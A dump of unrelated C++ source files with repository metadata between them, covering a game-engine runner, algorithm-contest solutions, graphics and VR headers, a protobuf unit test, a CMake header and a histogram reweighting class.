int coutKilometrique;
int coutCamion;
int coutArretCamion;
vector<int> metrageLineaireEmballages;
vector<Usine> usines;
vector<Fournisseur> fournisseurs;
vector<vector<int> > distanceMatrix;
Instance(string const &, bool);
~Instance() = default;
};
#endif
|
[
"39518094+BASARANOMO@users.noreply.github.com"
] |
39518094+BASARANOMO@users.noreply.github.com
|
bc8dae89252357a22a95e0f1cd64e645fbf78b1a
|
2e4af8a16104890b36d2943d52a657771f0197ae
|
/Truck.h
|
e799afc773abf6a95e192372654cf44967d69f3f
|
[] |
no_license
|
jessedmayer/SCU-Winter-2018-CSCI-60-Object-Oriented-Programming-HW4
|
8fc6b6c5c7a53e85f2cab3c33fdd6a650fafdd31
|
bfdda1885934e8e82488f63b5667e632cd564ce7
|
refs/heads/master
| 2020-04-21T14:34:43.416659
| 2019-02-07T20:45:09
| 2019-02-07T20:45:09
| 169,639,662
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 748
|
h
|
#ifndef TRUCK_H
#define TRUCK_H
#include "Person.h"
#include "Vehicle.h"
#include <string>
using std::string;
namespace SavitchEmployees {
class Truck : public Vehicle {
public:
Truck();
Truck(string model, int engine, Person VehicleOwner, double load_capacity, int towing_capacity);
Truck(Truck& b); //Makes a copy of Truck b
double getLoad(); //returns load capacity
int getTowing(); //returns towing capacity
void operator =(const Truck& b); //assigns given Truck equal to Truck b
private:
double load; //tracks load capacity
int towing; //tracks towing capacity
};
}
#endif //INC_60_HW4_TRUCK_H
|
[
"noreply@github.com"
] |
jessedmayer.noreply@github.com
|
16ef4e04624cde158a4c9cba71955c0663289c2e
|
a9341245fe25aa1bb9902a7ec387ac472a43c3f8
|
/tools/runner/src/main.cpp
|
b0709ce9dc96106e18f5966f7dde1bb1abe1297a
|
[] |
no_license
|
mgottschlag/PeakEngineNew
|
c1287d86f52a6a8c92c6a87482a63d991236df38
|
271df91bf7982016d25b928ebd9872a2ab933966
|
refs/heads/master
| 2020-08-05T22:12:49.701966
| 2010-04-12T17:01:45
| 2010-04-12T17:01:45
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 7,009
|
cpp
|
#include <PeakEngine.hpp>
#include <PeakGraphics.hpp>
#include <PeakNetwork.hpp>
#include <PeakPhysics.hpp>
#include <iostream>
#include <GL/glfw.h>
peak::graphics::Graphics graphics;
peak::network::Network network;
peak::physics::Physics physics;
bool mouselocked = true;
static int oldx;
static int oldy;
peak::graphics::KeyCode convertKey(int key)
{
switch (key)
{
case GLFW_KEY_SPACE:
return peak::graphics::EK_Space;
case GLFW_KEY_ESC:
return peak::graphics::EK_Escape;
case GLFW_KEY_F1:
return peak::graphics::EK_F1;
case GLFW_KEY_F2:
return peak::graphics::EK_F2;
case GLFW_KEY_F3:
return peak::graphics::EK_F3;
case GLFW_KEY_F4:
return peak::graphics::EK_F4;
case GLFW_KEY_F5:
return peak::graphics::EK_F5;
case GLFW_KEY_F6:
return peak::graphics::EK_F6;
case GLFW_KEY_F7:
return peak::graphics::EK_F7;
case GLFW_KEY_F8:
return peak::graphics::EK_F8;
case GLFW_KEY_F9:
return peak::graphics::EK_F9;
case GLFW_KEY_F10:
return peak::graphics::EK_F10;
case GLFW_KEY_F11:
return peak::graphics::EK_F11;
case GLFW_KEY_F12:
return peak::graphics::EK_F12;
case GLFW_KEY_UP:
return peak::graphics::EK_Up;
case GLFW_KEY_DOWN:
return peak::graphics::EK_Down;
case GLFW_KEY_LEFT:
return peak::graphics::EK_Left;
case GLFW_KEY_RIGHT:
return peak::graphics::EK_Right;
case GLFW_KEY_LSHIFT:
case GLFW_KEY_RSHIFT:
return peak::graphics::EK_Shift;
case GLFW_KEY_LCTRL:
case GLFW_KEY_RCTRL:
return peak::graphics::EK_Control;
case GLFW_KEY_LALT:
case GLFW_KEY_RALT:
return peak::graphics::EK_Alt;
case GLFW_KEY_TAB:
return peak::graphics::EK_Tab;
case GLFW_KEY_ENTER:
return peak::graphics::EK_Return;
case GLFW_KEY_BACKSPACE:
return peak::graphics::EK_Backspace;
case GLFW_KEY_INSERT:
return peak::graphics::EK_Insert;
case GLFW_KEY_DEL:
return peak::graphics::EK_Delete;
case GLFW_KEY_PAGEUP:
return peak::graphics::EK_PageUp;
case GLFW_KEY_PAGEDOWN:
return peak::graphics::EK_PageDown;
case GLFW_KEY_HOME:
return peak::graphics::EK_Home;
case GLFW_KEY_END:
return peak::graphics::EK_End;
case GLFW_KEY_KP_0:
// TODO: KP_n
case GLFW_KEY_KP_DIVIDE:
case GLFW_KEY_KP_MULTIPLY:
case GLFW_KEY_KP_SUBTRACT:
case GLFW_KEY_KP_ADD:
case GLFW_KEY_KP_DECIMAL:
case GLFW_KEY_KP_EQUAL:
case GLFW_KEY_KP_ENTER:
// TODO
return peak::graphics::EK_None;
default:
if ((key >= 'A' && key <= 'Z')
|| (key >= '0' && key <= 9))
return (peak::graphics::KeyCode)key;
return peak::graphics::EK_None;
}
}
static void GLFWCALL mouseInput(int x, int y)
{
int dx = x - oldx;
int dy = y - oldy;
graphics.injectMouseMovement(x, y, dx, dy);
oldx = x;
oldy = y;
}
static void GLFWCALL mouseButtonInput(int key, int state)
{
graphics.injectMouseButton(key, state);
}
static void GLFWCALL keyboardInput(int key, int state)
{
if (key == GLFW_KEY_RCTRL && state == GLFW_PRESS)
{
mouselocked = !mouselocked;
if (mouselocked)
glfwDisable(GLFW_MOUSE_CURSOR);
else
glfwEnable(GLFW_MOUSE_CURSOR);
}
graphics.injectKeyboard(convertKey(key), state);
}
static void GLFWCALL charInput(int c, int state)
{
if (state == GLFW_PRESS)
graphics.injectChar(c);
}
int main(int argc, char **argv)
{
if (argc != 2)
{
std::cerr << "Usage: " << argv[0] << " <game directory>" << std::endl;
return -1;
}
// Create window
glfwInit();
if (!glfwOpenWindow(1024, 768, 8, 8, 8, 8, 24, 8, GLFW_WINDOW))
{
glfwTerminate();
std::cerr << "Could not create render window." << std::endl;
return -1;
}
glfwGetMousePos(&oldx, &oldy);
glfwSetMousePosCallback(mouseInput);
glfwSetMouseButtonCallback(mouseButtonInput);
glfwSetKeyCallback(keyboardInput);
glfwSetCharCallback(charInput);
glfwDisable(GLFW_MOUSE_CURSOR);
// Create engine
peak::Engine engine;
engine.setDirectory(argv[1]);
// Initialize graphics
graphics.setEngine(&engine);
if (!graphics.init(1024, 768))
{
glfwTerminate();
std::cerr << "Could not initialize graphics." << std::endl;
return -1;
}
/*peak::graphics::CameraSceneNode *camera = new peak::graphics::CameraSceneNode(&graphics,
"pipelines/deferred.pipeline.xml");
camera->setParent(graphics.getRootSceneNode());
camera->setPosition(peak::Vector3F(0, 0, 10));
camera->setRotation(peak::Vector3F(0, 10, 0));
graphics.setDefaultCamera(camera);*/
// Create game
peak::XMLGame *game = new peak::XMLGame();
network.registerComponents(game);
graphics.registerComponents(game);
physics.registerComponents(game);
engine.setGame(game);
if (!game->load())
{
std::cerr << "Could not load the game." << std::endl;
return -1;
}
/*// Initialize networking
peak::WorldComponent *worldcomponent = 0;
bool isserver = false;
bool isclient = false;
peak::network::ClientWorldComponent *client = 0;
peak::network::ServerWorldComponent *server = new peak::network::ServerWorldComponent(0);
if (server->init(new peak::Buffer()))
{
worldcomponent = server;
isserver = true;
}
else
{
delete server;
client = new peak::network::ClientWorldComponent(0);
if (!client->init("localhost", 27272))
{
delete client;
glfwTerminate();
std::cerr << "Could not initialize networking." << std::endl;
return -1;
}
worldcomponent = client;
isclient = true;
}
peak::XMLWorld *world = new peak::XMLWorld(&engine,
engine.getDirectory() + "/Data/Worlds/Test.xml");
worldcomponent->setWorld(world);
world->addComponent(worldcomponent);
if (!world->load())
{
delete world;
std::cerr << "Could not create world." << std::endl;
return -1;
}
if (isclient)
client->setReady();*/
// Create initial world
peak::World *world = game->createInitialWorld();
if (!world)
{
std::cerr << "Could not create world." << std::endl;
return -1;
}
engine.addWorld(world);
world->start();
/*if (isserver)
{
peak::Entity *entity = game->getEntityFactory("Player")->createEntity(world,
(1 << peak::EEF_Server) | (1 << peak::EEF_Local));
world->addEntity(entity);
}*/
// Wait for engine to stop
unsigned int frames = 0;
uint64_t lasttime = peak::OS::getSystemTime();
peak::FrameLimiter limiter(20000);
while (true)
{
engine.update();
if (!engine.isRunning())
break;
if (!graphics.render())
break;
glfwSwapBuffers();
if (glfwGetWindowParam(GLFW_OPENED) != GL_TRUE)
break;
// Update frame counter
frames++;
if (frames == 10)
{
uint64_t time = peak::OS::getSystemTime();
unsigned int dt = time - lasttime;
float fps = 1000000.0f / ((float)(time - lasttime) / 10);
lasttime = time;
frames = 0;
char title[64];
snprintf(title, 64, "PeakEngine - %d fps (%d ms)", (int)fps, dt / 1000);
glfwSetWindowTitle(title);
}
// Only render at 50 fps
limiter.wait();
}
// Destroy the engine
engine.stop(true);
if (!game->shutdown())
{
std::cerr << "Could not destroy the game." << std::endl;
}
delete game;
// Close graphics
graphics.shutdown();
glfwEnable(GLFW_MOUSE_CURSOR);
glfwTerminate();
return 0;
}
|
[
"mathias-go@web.de"
] |
mathias-go@web.de
|
9e3c93abca9a3c4bc1a1036d3ad750128fd3acaf
|
ef2ea07785f8af5733246f61c91ff12fb09b7d7a
|
/leetcode/Pascal's Triangle II.cpp
|
28a996f4c91dc9238c9e38d67ca7f914f04497f5
|
[] |
no_license
|
baoxuezhao/solution_set
|
35a77cd8db76d0d1334babf7e74647a517d8bcce
|
56a4fdc6dcb3fe7879d5a1239de9c57af356d54d
|
refs/heads/master
| 2021-10-02T21:51:12.607669
| 2018-12-01T09:27:36
| 2018-12-01T09:27:36
| 23,954,500
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 442
|
cpp
|
class Solution {
public:
vector<int> getRow(int rowIndex) {
vector<int> line1(rowIndex+1, 1);
vector<int> line2(rowIndex+1, 1);
for(int i=1; i<=rowIndex; i++)
{
line2[0] = 1;
for(int j=1; j<i; j++)
{
line2[j] = line1[j-1]+line1[j];
}
line2[i] = 1;
swap(line1, line2);
}
return line1;
}
};
|
[
"baoxue.zhao@gmail.com"
] |
baoxue.zhao@gmail.com
|
3b8229018454df38f38ee234b1d3a19341fb0808
|
2a8a290eb1d0703a7c7b21429b07870c5ffa868e
|
/Include/NiDrawableBV.h
|
b15a27b675c9ffc6e677b1b3dba2fb7ef11c76d3
|
[] |
no_license
|
sigmaco/gamebryo-v32
|
b935d737b773497bf9e663887e326db4eca81885
|
0709c2570e21f6bb06a9382f9e1aa524070f3751
|
refs/heads/master
| 2023-03-31T13:56:37.844472
| 2021-04-17T02:30:46
| 2021-04-17T02:30:46
| 198,067,949
| 4
| 4
| null | 2021-04-17T02:30:47
| 2019-07-21T14:39:54
|
C++
|
UTF-8
|
C++
| false
| false
| 2,236
|
h
|
// EMERGENT GAME TECHNOLOGIES PROPRIETARY INFORMATION
//
// This software is supplied under the terms of a license agreement or
// nondisclosure agreement with Emergent Game Technologies and may not
// be copied or disclosed except in accordance with the terms of that
// agreement.
//
// Copyright (c) 1996-2009 Emergent Game Technologies.
// All Rights Reserved.
//
// Emergent Game Technologies, Calabasas, CA 91302
// http://www.emergent.net
#pragma once
#ifndef NIDRAWABLEBV_H
#define NIDRAWABLEBV_H
#include "NiCollisionLibType.h"
#include "NiAVObject.h"
#include "NiColor.h"
class NiBoundingVolume;
class NiBox;
class NiCapsule;
class NiHalfSpaceBV;
class NiNode;
class NiSphere;
class NiUnionBV;
class NiMesh;
class NICOLLISION_ENTRY NiDrawableBV : public NiMemObject
{
// cloning: no cloning necessary, as this creates a NiMesh and
// attaches it to the scene graph as a regular node, which will have its
// own cloning functionality
public:
// for creation of wireframe representation of the bounding volume
static NiNode* CreateWireframeBV(const NiBoundingVolume* pkBound,
const NiColor& kColor = NiColor::BLACK, const float fMult = 1.0f,
NiAVObject* pkObject = 0);
// *** begin Emergent internal use only ***
// the following do not attach any properties
static NiMesh* CreateFromBox(const NiBox& kBox,
const float fMult);
static NiMesh* CreateFromCapsule(const NiCapsule& kCapsule,
const float fMult);
static NiMesh* CreateFromSphere(const NiSphere& kSphere,
const float fMult);
static NiMesh* CreateFromHalfSpaceBV(const NiHalfSpaceBV* pkBound,
const float fMult, const NiAVObject* pkObject);
static void CreateFromUnion(const NiUnionBV* pkUnion, NiNode* pkParent,
const float fMult);
static NiMesh* CreateTubeFromCapsule(const NiCapsule& kCapsule,
const float fMult, const unsigned int uiNumSides);
static NiMesh* CreateMeshFromVertexIndexData(NiPoint3* kVerts,
unsigned int uiNumVerts, unsigned short* pusIndices,
unsigned int uiNumIndices);
// *** end Emergent internal use only ***
};
#endif
|
[
"veryzon@outlook.com.br"
] |
veryzon@outlook.com.br
|
547b6df22561d83723359bff85d3651f0fa733d7
|
6b2a8dd202fdce77c971c412717e305e1caaac51
|
/solutions_5648941810974720_1/C++/Atropine/Untitled1.cpp
|
6cd973568e551e5b4bf4864e382cbefd393526a5
|
[] |
no_license
|
alexandraback/datacollection
|
0bc67a9ace00abbc843f4912562f3a064992e0e9
|
076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf
|
refs/heads/master
| 2021-01-24T18:27:24.417992
| 2017-05-23T09:23:38
| 2017-05-23T09:23:38
| 84,313,442
| 2
| 4
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,006
|
cpp
|
#include<bits/stdc++.h>
using namespace std;
int h[105],ans[105];
string s;
int main()
{
freopen("A-small-attempt0.in","r",stdin);
freopen("aa.txt","w",stdout);
int t;
cin >> t;
for(int tt=0;tt<t;tt++)
{
cout << "Case #" << tt+1 << ": ";
cin >> s;
for(int i=0;i<26;i++)
h[i]=0;
for(int i=0;i<26;i++)
ans[i]=0;
for(int i=0;i<s.size();i++)
h[s[i]-65]++;
if(h[25])
{
h['E'-65]-=h[25];
h['R'-65]-=h[25];
h['O'-65]-=h[25];
ans[0]+=h[25];
h[25]=0;
}
if(h['G'-65])
{
h['E'-65]-=h['G'-65];
h['I'-65]-=h['G'-65];
h['H'-65]-=h['G'-65];
h['T'-65]-=h['G'-65];
ans[8]+=h['G'-65];
h['G'-65]=0;
}
if(h['U'-65])
{
h['F'-65]-=h['U'-65];
h['O'-65]-=h['U'-65];
h['R'-65]-=h['U'-65];
ans[4]+=h['U'-65];
h['U'-65]=0;
}
if(h['X'-65])
{
h['S'-65]-=h['X'-65];
h['I'-65]-=h['X'-65];
ans[6]+=h['X'-65];
h['X'-65]=0;
}
if(h['W'-65])
{
h['T'-65]-=h['W'-65];
h['O'-65]-=h['W'-65];
ans[2]+=h['W'-65];
h['W'-65]=0;
}
if(h['F'-65])
{
h['I'-65]-=h['F'-65];
h['V'-65]-=h['F'-65];
h['E'-65]-=h['F'-65];
ans[5]+=h['F'-65];
h['F'-65]=0;
}
if(h['V'-65])
{
h['S'-65]-=h['V'-65];
h['E'-65]-=2*h['V'-65];
h['N'-65]-=h['V'-65];
ans[7]+=h['V'-65];
h['V'-65]=0;
}
if(h['T'-65])
{
h['H'-65]-=h['T'-65];
h['E'-65]-=2*h['T'-65];
h['R'-65]-=h['T'-65];
ans[3]+=h['T'-65];
h['T'-65]=0;
}
if(h['O'-65])
{
h['N'-65]-=h['O'-65];
h['E'-65]-=h['O'-65];
ans[1]+=h['O'-65];
h['O'-65]=0;
}
if(h['I'-65])
{
h['N'-65]-=2*h['I'-65];
h['E'-65]-=2*h['I'-65];
ans[9]+=h['I'-65];
h['I'-65]=0;
}
for(int i=0;i<10;i++)
for(int j=0;j<ans[i];j++)
cout << i;
cout << endl;
}
fclose(stdin);
fclose(stdout);
return 0;
}
|
[
"alexandra1.back@gmail.com"
] |
alexandra1.back@gmail.com
|
1e2429c25f021e33adcc1d9bf59986b7e298102a
|
007867b4937f52de7746f79124ef104b2d183f5a
|
/动态规划/背包问题/01背包/HDU 5543 Pick The Sticks.cpp
|
1e2ad314ae6f0ca2a6ce34fa45adaf81ea8f1bf8
|
[] |
no_license
|
WhereIsHeroFrom/Algorithm
|
84dcee3174dbcd9e996442f07627a96c46f6c74a
|
6bf620d6219770db60b40d151eecd686955ab723
|
refs/heads/master
| 2023-08-05T14:05:48.385791
| 2021-10-06T00:21:39
| 2021-10-06T00:21:39
| 306,805,686
| 16
| 4
| null | null | null | null |
GB18030
|
C++
| false
| false
| 1,489
|
cpp
|
#include <iostream>
#include <cstring>
#include <algorithm>
using namespace std;
#define MAXN 1010
#define MAXL 4010
#define LL __int64
int n, L;
struct Pack {
int len, val;
void read() {
scanf("%d %d", &len, &val);
len *= 2;
}
}p[MAXN];
// f[i][j] 表示前i个物品组成 (长度 <= j) 的最大权值
LL f[MAXN][MAXL];
int cmp(Pack a, Pack b) {
return a.len < b.len;
}
int main() {
int t, cases = 0;
int i, j;
scanf("%d", &t);
while (t--) {
scanf("%d %d", &n, &L);
L *= 2;
LL Max = 0;
for (i = 1; i <= n; i++) {
p[i].read();
if (p[i].val > Max) Max = p[i].val; // 一个金条肯定可以放
}
sort(&p[1], &p[1] + n, cmp);
for (i = 0; i <= L; i++) f[0][i] = 0;
// 先求一次背包
for (i = 1; i <= n; i++) {
int len = p[i].len;
LL val = p[i].val;
for (j = 0; j <= L; j++) {
f[i][j] = f[i - 1][j];
}
for (j = L; j >= len; j--) {
if (f[i - 1][j - len] + val > f[i][j]) {
f[i][j] = f[i - 1][j - len] + val;
}
}
}
// 枚举任意两个今天放在两端的情况
for (i = 1; i <= n; i++) {
for (j = i + 1; j <= n; j++) {
int len = (p[i].len + p[j].len) / 2;
LL val = p[i].val + p[j].val;
if (len <= L) {
if (f[i - 1][L - len] + val > Max) {
Max = f[i - 1][L - len] + val;
}
}
}
}
printf("Case #%d: %I64d\n", ++cases, Max);
}
return 0;
}
/*
4
3 7
4 1
2 1
8 1
3 7
4 2
2 1
8 4
3 5
4 1
2 2
8 9
1 1
10 3
Case #1: 2
Case #2: 6
Case #3: 11
Case #4: 3
*/
|
[
"menjitianya2007@163.com"
] |
menjitianya2007@163.com
|
e9d177216a0b1b7a3f74ee066cf6b8b0b1de7e3b
|
4a83406f95a4ba8f15bb4bfff0bb34f5f36ddcde
|
/zoho/round 6/1st.cpp
|
a04bfe7794f351b0c422b9bb72c05aba7d506e42
|
[] |
no_license
|
2001adarsh/Contests
|
5d3523ca6a5eb3eab0505733dc9144890eecb45e
|
a162b2a11b00d70e2b49292854b2ba826ca01311
|
refs/heads/master
| 2021-12-15T02:11:30.852367
| 2021-12-12T11:22:55
| 2021-12-12T11:22:55
| 252,377,884
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 781
|
cpp
|
#include<bits/stdc++.h>
using namespace std;
#define int long long int
#define endl "\n"
#define mod 1000000007
#define inf 1e18
int32_t main()
{
int n;
cin >> n;
int arr[n];
for (int i = 0; i < n; i++)
cin >> arr[i];
/*
O(N^2)
int dp[n];
for (int i = 0; i < n; i++) {
dp[i] = 1;
for (int j = 0; j < i; j++) {
if (arr[j] < arr[i])
dp[i] = max(dp[i], 1 + dp[j]);
}
}
for (int i = 0; i < n; i++)
cout << dp[i] << " ";
cout<<dp[n];*/
set<int> st;
for (int i = 0; i < n; i++) {
auto itr = st.lower_bound(arr[i]);
if (itr != st.end())
st.erase(itr);
st.insert(arr[i]);
}
cout << st.size();
return 0;
}
|
[
"2001adarshsingh@gmail.com"
] |
2001adarshsingh@gmail.com
|
56465744190a65ddfc2e008e4c4f2139c3383a46
|
76ca52991ca1a1e50d066e9f7c4827b6a4453414
|
/libs/protoutil/tests/protobuf_test.cpp
|
5ca3e6477c0150bad1df63edfedeb59bf75e6c72
|
[
"Apache-2.0",
"LicenseRef-scancode-unicode"
] |
permissive
|
ResurrectionRemix/android_frameworks_base
|
3126048967fa5f14760664bea8002e7911da206a
|
5e1db0334755ba47245d69857a17f84503f7ce6f
|
refs/heads/Q
| 2023-02-17T11:50:11.652564
| 2021-09-19T11:36:09
| 2021-09-19T11:36:09
| 17,213,932
| 169
| 1,154
|
Apache-2.0
| 2023-02-11T12:45:31
| 2014-02-26T14:52:44
|
Java
|
UTF-8
|
C++
| false
| false
| 1,772
|
cpp
|
// Copyright (C) 2018 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include <android/util/protobuf.h>
#include <gmock/gmock.h>
#include <gtest/gtest.h>
using namespace android::util;
TEST(ProtobufTest, All) {
EXPECT_EQ(read_wire_type(UINT32_C(17)), 1);
EXPECT_EQ(read_field_id(UINT32_C(17)), 2);
EXPECT_EQ(get_varint_size(UINT64_C(234134)), 3);
EXPECT_EQ(get_varint_size(UINT64_C(-1)), 10);
constexpr uint8_t UNSET_BYTE = 0xAB;
uint8_t buf[11];
memset(buf, UNSET_BYTE, sizeof(buf));
EXPECT_EQ(write_raw_varint(buf, UINT64_C(150)) - buf, 2);
EXPECT_EQ(buf[0], 0x96);
EXPECT_EQ(buf[1], 0x01);
EXPECT_EQ(buf[2], UNSET_BYTE);
memset(buf, UNSET_BYTE, sizeof(buf));
EXPECT_EQ(write_raw_varint(buf, UINT64_C(-2)) - buf, 10);
EXPECT_EQ(buf[0], 0xfe);
for (int i = 1; i < 9; i++) {
EXPECT_EQ(buf[i], 0xff);
}
EXPECT_EQ(buf[9], 0x01);
EXPECT_EQ(buf[10], UNSET_BYTE);
uint8_t header[20];
memset(header, UNSET_BYTE, sizeof(header));
EXPECT_EQ(write_length_delimited_tag_header(header, 3, 150) - header, 3);
EXPECT_EQ(header[0], 26);
EXPECT_EQ(header[1], 0x96);
EXPECT_EQ(header[2], 0x01);
EXPECT_EQ(header[3], UNSET_BYTE);
}
|
[
"jinyithu@google.com"
] |
jinyithu@google.com
|
b22a6dbbe911354f701d92ba06e301d012649f01
|
c28f358c68ebe4f53a5074e9ba35d0f7a7488c0e
|
/RVTP4/rvdice.h
|
f367aa6f299fedbd4bec315e4b4a5ab5794e5f68
|
[] |
no_license
|
Romain-GARNIER/VirtualReality
|
3d2d4fe94746f533e662fb12a579e9f748b591e8
|
8a32a132bb4a723da365f5befedaceba682238a1
|
refs/heads/master
| 2020-12-19T21:26:47.176806
| 2020-02-29T09:06:18
| 2020-02-29T09:06:18
| 235,856,350
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 538
|
h
|
#ifndef RVDICE_H
#define RVDICE_H
/*!
\file rvdice.h
\brief Déclaration de la classe RVDice.
\author Leo Donati
\date 2019-2020
\version 3.0
Cours de Réalité Virtuelle
Polytech'Nice Sophia
*/
#include "rvtexcube.h"
/*!
* \class RVDice
* \brief La classe RVDice hérite de RVTexCube et représente un dé à jouer.
*/
class RVDice : public RVTexCube
{
public:
RVDice(); //!< Constructeur
void initializeBuffer() override; //!< Prépare le dé à jouer
};
#endif // RVDICE_H
|
[
"garnierr10@gmail.com"
] |
garnierr10@gmail.com
|
3f0760c8ce429c987cb125a5c902b753edb720b6
|
d984665061da318a23b06ea268b11a14e446e560
|
/Source/cmCustomCommandGenerator.h
|
7ad95d1d87a47e2efb55f44a1d39815211df185e
|
[
"BSD-3-Clause"
] |
permissive
|
ewmailing/CMake
|
0c0c96ac4519d3da86cb9c0874b464c645408487
|
6de440e201052c8b84c712f6c42cca7210e23ef3
|
refs/heads/master
| 2020-12-13T21:58:40.849107
| 2015-06-25T04:01:04
| 2015-06-25T04:01:04
| 38,046,724
| 2
| 0
| null | 2015-06-25T11:59:11
| 2015-06-25T11:59:11
| null |
UTF-8
|
C++
| false
| false
| 1,649
|
h
|
/*============================================================================
CMake - Cross Platform Makefile Generator
Copyright 2000-2010 Kitware, Inc., Insight Software Consortium
Distributed under the OSI-approved BSD License (the "License");
see accompanying file Copyright.txt for details.
This software is distributed WITHOUT ANY WARRANTY; without even the
implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the License for more information.
============================================================================*/
#ifndef cmCustomCommandGenerator_h
#define cmCustomCommandGenerator_h
#include "cmStandardIncludes.h"
class cmCustomCommand;
class cmMakefile;
class cmGeneratorExpression;
class cmCustomCommandGenerator
{
cmCustomCommand const& CC;
std::string Config;
cmMakefile* Makefile;
bool OldStyle;
bool MakeVars;
cmGeneratorExpression* GE;
mutable bool DependsDone;
mutable std::vector<std::string> Depends;
public:
cmCustomCommandGenerator(cmCustomCommand const& cc,
const std::string& config,
cmMakefile* mf);
~cmCustomCommandGenerator();
cmCustomCommand const& GetCC() const { return this->CC; }
unsigned int GetNumberOfCommands() const;
std::string GetCommand(unsigned int c) const;
void AppendArguments(unsigned int c, std::string& cmd) const;
const char* GetComment() const;
std::string GetWorkingDirectory() const;
std::vector<std::string> const& GetOutputs() const;
std::vector<std::string> const& GetByproducts() const;
std::vector<std::string> const& GetDepends() const;
};
#endif
|
[
"brad.king@kitware.com"
] |
brad.king@kitware.com
|
512fbf2028a48c2ed70c001e6502e2300bc7c1a9
|
58409fdfed3f96fb3448c74ad23a33693bd93a41
|
/BoostedAnalyzer/src/HistoReweighter.cpp
|
3f4bc74e6721c7073920a56498877c78e979976f
|
[] |
no_license
|
cms-ttH/BoostedTTH
|
b09a2615a912e347aa37c901309f622703409003
|
7e3420f5b22db4b22b831ef73982934d56294616
|
refs/heads/Legacy_2016_2017_2018_Devel
| 2022-10-27T23:30:40.864284
| 2022-10-19T12:43:18
| 2022-10-19T12:43:18
| 31,009,661
| 4
| 15
| null | 2020-07-06T07:38:34
| 2015-02-19T10:05:03
|
C++
|
UTF-8
|
C++
| false
| false
| 2,463
|
cpp
|
#include "BoostedTTH/BoostedAnalyzer/interface/HistoReweighter.hpp"
using namespace std;
HistoReweighter::HistoReweighter(TH1* nom_histo, TH1* denom_histo, bool normalize){
CreateWeightHisto(nom_histo, denom_histo, normalize);
}
HistoReweighter::HistoReweighter(const char* filename, const char* nom_histo_name, const char* denom_histo_name, bool normalize){
TFile* file = new TFile(filename);
TH1* nom_histo=(TH1*)file->Get(nom_histo_name);
TH1* denom_histo=(TH1*)file->Get(denom_histo_name);
CreateWeightHisto(nom_histo, denom_histo, normalize);
file->Close();
}
HistoReweighter::HistoReweighter(const char* nom_filename, const char* nom_histo_name, const char* denom_filename, const char* denom_histo_name, bool normalize){
TFile* nom_file = new TFile(nom_filename);
TFile* denom_file = new TFile(denom_filename);
TH1* nom_histo=(TH1*)nom_file->Get(nom_histo_name);
TH1* denom_histo=(TH1*)denom_file->Get(denom_histo_name);
CreateWeightHisto(nom_histo, denom_histo, normalize);
nom_file->Close();
denom_file->Close();
}
void HistoReweighter::CreateWeightHisto(TH1* nom_histo, TH1* denom_histo, bool normalize){
nomHisto=(TH1*)nom_histo->Clone("nomHisto");
denomHisto=(TH1*)denom_histo->Clone("denomHisto");
assert(denomHisto->GetNbinsX()==nomHisto->GetNbinsX());
nbins=denomHisto->GetNbinsX();
for(int i=1; i<=denomHisto->GetNbinsX(); i++){
if(denomHisto->GetBinContent(i)==0&&nomHisto->GetBinContent(i)==0){
cerr << "HistoReweighter: bin in denominator histo empty but not in nominator, erasing bin" << endl;
nomHisto->SetBinContent(i,0);
}
}
if(normalize){
nomHisto->Scale(1./nomHisto->Integral(0,nbins+1));
denomHisto->Scale(1./denomHisto->Integral(0,nbins+1));
}
nomHisto=nomHisto;
denomHisto=denomHisto;
max=nomHisto->GetXaxis()->GetXmax();
min=nomHisto->GetXaxis()->GetXmin();
}
float HistoReweighter::GetWeight(float value, bool interpolate){
float n;
float d;
if(value>max) {
n=nomHisto->GetBinContent(nbins+1);
d=denomHisto->GetBinContent(nbins+1);
}
else if(value<min) {
n=nomHisto->GetBinContent(0);
d=denomHisto->GetBinContent(0);
}
else if(interpolate){
n=nomHisto->Interpolate(value);
d=denomHisto->Interpolate(value);
}
else{
n=nomHisto->GetBinContent(nomHisto->FindBin(value));
d=denomHisto->GetBinContent(denomHisto->FindBin(value));
}
if(d>0) {
return n/d;
}
else{
return 0;
}
}
|
[
"hannes.mildner@cern.ch"
] |
hannes.mildner@cern.ch
|
c30e293050d0308f61d2ad6b8a95d864d352ca48
|
c77b96908021790f2b2624f87b9ff9e85e9c9d87
|
/lmctfy/cli/real_main.cc
|
9c46638c235d539060ed432a1d1d4c811456c764
|
[
"Apache-2.0"
] |
permissive
|
vishh/lmctfy
|
de3ee043c06b92d5f5d9a1126a5306c43fd00862
|
a37a348c50916dab6d17be4ca103b98055c4ed1f
|
refs/heads/master
| 2021-01-18T06:40:15.343721
| 2014-05-06T17:48:41
| 2014-05-06T17:48:41
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 7,249
|
cc
|
// Copyright 2014 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// The lmctfy commandline app.
#include "lmctfy/cli/real_main.h"
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <string>
using ::std::string;
#include <memory>
#include <vector>
#include "base/callback.h"
#include "gflags/gflags.h"
#include "base/logging.h"
#include "base/walltime.h"
#include "lmctfy/cli/command.h"
#include "lmctfy/cli/commands/create.h"
#include "lmctfy/cli/commands/destroy.h"
#include "lmctfy/cli/commands/detect.h"
#include "lmctfy/cli/commands/enter.h"
